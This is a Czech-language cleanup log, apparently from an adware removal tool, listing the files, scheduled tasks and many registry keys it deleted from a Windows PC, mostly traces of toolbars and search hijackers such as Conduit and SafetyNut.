[#] Složka smazána po restartu: C:\Users\Uzivatel\AppData\Local\..\Roaming\Firefox\Firefox\naweriweentcofise
***** [ Soubory ] *****
[-] Soubor smazán: C:\Users\Uzivatel\appdata\local\installationconfiguration.xml
[-] Soubor smazán: C:\Windows\SysNative\log\iSafeKrnlCall.log
[-] Soubor smazán: C:\Windows\SysNative\drivers\iSafeKrnlBoot.sys
[-] Soubor smazán: C:\Windows\SysNative\drivers\iSafeNetFilter.sys
[-] Soubor smazán: C:\Windows\AppPatch\Custom\{8a4d5a43-c64a-45ab-bdf4-804fe18ceafd}.sdb
[-] Soubor smazán: C:\Windows\AppPatch\Custom\Custom64\{cf2797aa-b7ec-e311-8ed9-005056c00008}.sdb
[-] Soubor smazán: C:\Windows\TEMP\YeapUserInfo.ini
[#] Soubor smazán: C:\Users\Uzivatel\AppData\Roaming\Browsers\firefox.bat.exe
[-] Soubor smazán: C:\Users\Public\Documents\temp.dat
[-] Soubor smazán: C:\Users\Public\Documents\report.dat
***** [ DLL ] *****
***** [ WMI ] *****
***** [ Zástupci ] *****
***** [ Naplánované úlohy ] *****
[-] Úloha smazána: Qadither
[-] Úloha smazána: Milimili
[-] Úloha smazána: Windows-PG
***** [ Registry ] *****
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\services\isafekrnlmon
[#] Klíč smazán po restartu: HKLM\SYSTEM\CurrentControlSet\services\bcuservice
[#] Klíč smazán po restartu: HKLM\SYSTEM\CurrentControlSet\services\ED2KIDLE
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{5647e8d1-5f6d-4921-80d7-a6e84ffc989d}
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Application Hosting
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Application Hosting
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\WinSnare
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\WinSnare
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARER
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARER
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARE
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\SNARE
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\ANSARE
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\ANSARE
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\terana
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\terana
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\glory
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\glory
[#] Klíč smazán po restartu: HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\snare
[#] Klíč smazán po restartu: [x64] HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\snare
[-] Klíč smazán: HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook
[-] Klíč smazán: HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook.1
[-] Klíč smazán: HKLM\SOFTWARE\Classes\PCSuiteContactsView
[-] Klíč smazán: HKLM\SOFTWARE\Classes\PCSuiteMessagesView
[-] Klíč smazán: HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd
[-] Klíč smazán: HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd.1
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.BrowserWndAPI
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.BrowserWndAPI.1
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.PugiObj
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Search.PugiObj.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\AddressBarSearch.SearchHook.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\PCSuiteContactsView
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\PCSuiteMessagesView
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.BrowserWndAPI
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.BrowserWndAPI.1
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.PugiObj
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Search.PugiObj.1
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration\{CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{9BB812EA-6A11-4F94-AE32-DB3FD45EC496}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{0C1284BA-4F3A-41C6-94B5-77446F5948A9}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{3CCC052E-BDEE-408A-BEA7-90914EF2964B}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{61F47056-E400-43D3-AF1E-AB7DFFD4C4AD}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{63EDCDD3-8AFC-4358-A90F-F7FB8F5C64FF}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{BD5843ED-13C4-4EFF-ACE9-56CEE22BC087}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\{BC86E1AB-EDA5-4059-938F-CE307B0C6F0A}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{5C6B193D-C4D0-4A0C-8509-8EA566380A7C}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{D01C1E11-ED7A-4791-8408-E63EECDA48FF}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{FA7B2795-C0C8-4A58-8672-3F8D80CC0270}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Interface\{47A1DF02-BCE4-40C3-AE47-E3EA09A65E4A}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\TypeLib\{66B51873-B53D-42EC-BC1A-862EB4DB041D}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\TypeLib\{77AA6435-2488-4A94-9FE5-49519DD2ED9B}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\TypeLib\{BDB0F124-48E8-43A5-A263-45A7093CF058}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{30F9B915-B755-4826-820B-08FBA6BD249D}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{32B29DF0-2237-4370-9A29-37CEBB730E9B}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{338B4DFE-2E2C-4338-9E41-E176D497299E}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{855F3B16-6D32-4FE6-8A56-BBB695989046}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{F3FEE66E-E034-436A-86E4-9690573BEE8A}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FCBCCB87-9224-4B8D-B117-F56D924BEB18}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{30F9B915-B755-4826-820B-08FBA6BD249D}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{32B29DF0-2237-4370-9A29-37CEBB730E9B}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{338B4DFE-2E2C-4338-9E41-E176D497299E}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{855F3B16-6D32-4FE6-8A56-BBB695989046}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{F3FEE66E-E034-436A-86E4-9690573BEE8A}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{FCBCCB87-9224-4B8D-B117-F56D924BEB18}
[-] Klíč smazán: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{5A60B6BB-FA81-4EFA-AB9C-A820E2143736}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{A40DC6C5-79D0-4CA8-A185-8FF989AF1115}
[-] Klíč smazán: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{CCC7B152-1D8C-11E3-B2AD-F3EF3D58318D}
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{30F9B915-B755-4826-820B-08FBA6BD249D}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{32B29DF0-2237-4370-9A29-37CEBB730E9B}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{338B4DFE-2E2C-4338-9E41-E176D497299E}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{FED66DC5-1B74-4A04-8F5C-15C5ACE2B9A5}]
[-] Hodnota smazána: HKU\.DEFAULT\Software\Microsoft\Internet Explorer\URLSearchHooks [{855F3B16-6D32-4FE6-8A56-BBB695989046}]
[-] Hodnota smazána: HKCU\Software\Microsoft\Internet Explorer\URLSearchHooks [{BC86E1AB-EDA5-4059-938F-CE307B0C6F0A}]
[-] Klíč smazán: HKU\.DEFAULT\Software\AskPartnerNetwork
[-] Klíč smazán: HKU\.DEFAULT\Software\AVG Secure Search
[-] Klíč smazán: HKU\.DEFAULT\Software\Conduit
[-] Klíč smazán: HKU\.DEFAULT\Software\ecb`nl
[-] Klíč smazán: HKU\.DEFAULT\Software\Auslogics
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Toolbar
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\AskToolbar
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\Conduit
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\conduitEngine
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\PriceGong
[-] Klíč smazán: HKU\.DEFAULT\Software\AppDataLow\Software\Search Settings
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\AmiExt
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Conduit
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Installer
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SafetyNut
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Softonic
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\System Healer
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Amigo
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SAFETYNUT
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\MICROSOFT\wewewe
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\WinSnare
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\PopWnd
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\deskapp
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Hotspot
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Speedownloader0099
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\YeaDesktop
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Baglook
[-] Klíč smazán: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SweetIM
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AskPartnerNetwork
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AVG Secure Search
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\Conduit
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\ecb`nl
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\Auslogics
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Toolbar
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\AskToolbar
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\Conduit
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\conduitEngine
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\PriceGong
[#] Klíč smazán po restartu: HKU\S-1-5-18\Software\AppDataLow\Software\Search Settings
[#] Klíč smazán po restartu: HKCU\Software\AmiExt
[#] Klíč smazán po restartu: HKCU\Software\Conduit
[#] Klíč smazán po restartu: HKCU\Software\Installer
[#] Klíč smazán po restartu: HKCU\Software\SafetyNut
[#] Klíč smazán po restartu: HKCU\Software\Softonic
[#] Klíč smazán po restartu: HKCU\Software\System Healer
[#] Klíč smazán po restartu: HKCU\Software\Amigo
[#] Klíč smazán po restartu: HKCU\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: HKCU\Software\SAFETYNUT
[#] Klíč smazán po restartu: HKCU\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[#] Klíč smazán po restartu: HKCU\Software\MICROSOFT\wewewe
[#] Klíč smazán po restartu: HKCU\Software\WinSnare
[#] Klíč smazán po restartu: HKCU\Software\PopWnd
[#] Klíč smazán po restartu: HKCU\Software\deskapp
[#] Klíč smazán po restartu: HKCU\Software\Hotspot
[#] Klíč smazán po restartu: HKCU\Software\Speedownloader0099
[#] Klíč smazán po restartu: HKCU\Software\YeaDesktop
[#] Klíč smazán po restartu: HKCU\Software\Baglook
[#] Klíč smazán po restartu: HKCU\Software\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: HKLM\SOFTWARE\AmiExt
[-] Klíč smazán: HKLM\SOFTWARE\Conduit
[-] Klíč smazán: HKLM\SOFTWARE\Flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\Lightspark Team
[-] Klíč smazán: HKLM\SOFTWARE\SafetyNut
[-] Klíč smazán: HKLM\SOFTWARE\SiteFinder
[-] Klíč smazán: HKLM\SOFTWARE\Trymedia Systems
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: HKLM\SOFTWARE\SAFETYNUT
[#] Klíč smazán po restartu: HKLM\SOFTWARE\flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\ScreenShot
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: HKLM\SOFTWARE\ecb`nl
[-] Klíč smazán: HKLM\SOFTWARE\amule-custom
[-] Klíč smazán: HKLM\SOFTWARE\startpageing123Software
[-] Klíč smazán: HKLM\SOFTWARE\msServer
[-] Klíč smazán: HKLM\SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
[-] Klíč smazán: HKLM\SOFTWARE\Speedownloader0099
[-] Klíč smazán: HKLM\SOFTWARE\ourluckysitesSoftware
[-] Klíč smazán: HKLM\SOFTWARE\Eggper
[-] Klíč smazán: HKLM\SOFTWARE\Baglook
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5B363E1D-8C36-4458-BAE4-D5081999E094}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Lightspark
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SiteFinder
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564
[#] Klíč smazán po restartu: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{59B5A9CD-253D-4C41-A073-B387D4C9672D}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{97D2FBF4-72CF-4DD6-8DA8-26710BC7BE71}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{51639FCA-678F-4D71-8044-E16E3D49187F}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B7CB7055-EFAE-4CD2-928A-15DB5F4FF7C7}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{118B6258-BF13-47C9-8D46-B2A349196B5D}
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SweetIM
[#] Klíč smazán po restartu: [x64] HKCU\Software\AmiExt
[#] Klíč smazán po restartu: [x64] HKCU\Software\Conduit
[#] Klíč smazán po restartu: [x64] HKCU\Software\Installer
[#] Klíč smazán po restartu: [x64] HKCU\Software\SafetyNut
[#] Klíč smazán po restartu: [x64] HKCU\Software\Softonic
[#] Klíč smazán po restartu: [x64] HKCU\Software\System Healer
[#] Klíč smazán po restartu: [x64] HKCU\Software\Amigo
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: [x64] HKCU\Software\SAFETYNUT
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[#] Klíč smazán po restartu: [x64] HKCU\Software\MICROSOFT\wewewe
[#] Klíč smazán po restartu: [x64] HKCU\Software\WinSnare
[#] Klíč smazán po restartu: [x64] HKCU\Software\PopWnd
[#] Klíč smazán po restartu: [x64] HKCU\Software\deskapp
[#] Klíč smazán po restartu: [x64] HKCU\Software\Hotspot
[#] Klíč smazán po restartu: [x64] HKCU\Software\Speedownloader0099
[#] Klíč smazán po restartu: [x64] HKCU\Software\YeaDesktop
[#] Klíč smazán po restartu: [x64] HKCU\Software\Baglook
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\ecb`nl
[-] Klíč smazán: [x64] HKLM\SOFTWARE\InterSect Alliance
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Speedownloader0099
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\DMunversion
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Searchy
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{24F5E422-6A70-4FAA-8CAD-E23D5DC1DAE6}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{DD0688A5-FC8B-4E93-A485-CBF606A56D49}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966D4C29D35B1C9
[#] Klíč smazán po restartu: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966d4C29D35B1C9
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\00E944CB89111313EAF35A0553F547F9
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0CFE535C35F99574E8340BFA75BF92C2
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0E12F736682067FDE4D1158D5940A82E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1A24B5BB8521B03E0C8D908F5ABC0AE6
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\261F213D1F55267499B1F87D0CC3BCF7
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2B0D56C4F4C46D844A57FFED6F0D2852
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49D4375FE41653242AEA4C969E4E65E0
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\53F55AF3F4049ED3FA6EA6F88E414E24
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\68E4BF4B11615E03C97732FD581AB607
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6AA0923513360135B272E8289C5F13FA
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6F7467AF8F29C134CBBAB394ECCFDE96
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\741B4ADF27276464790022C965AB6DA8
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\75D5168E5E176C24981B4E5DBD991078
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7DE196B10195F5647A2B21B761F3DE01
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8CE3DDAB2D152683FBCEB4866BCD2B0F
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\922525DCC5199162F8935747CA3D8E59
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9D4F5849367142E4685ED8C25E44C5ED
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A5875B04372C19545BEB90D4D606C472
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A876D9E80B896EC44A8620248CC79296
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AF6CE16AFEA5C9A39B766468A8B35C21
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B66FFAB725B92594C986DE826A867888
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BCDA179D619B91648538E3394CAC94CC
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D677B1A9671D4D4004F6F2A4469E86EA
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DD1402A9DD4215A43ABDE169A41AFA0E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E36E114A0EAD2AD46B381D23AD69CDDF
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EF8E618DB3AEDFBB384561B5C548F65E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F754C503375A13344B22388E18DFE87E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FB1E44269B58F433A8C8E671E37CFDCF
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\120DFADEB50841F408F04D2A278F9509
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B5BAE2ED018083A4C8DA86D6E3F4B024
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966D4C29D35B1C9
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966d4C29D35B1C9
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\F928123A039649549966D4C29D35B1C9
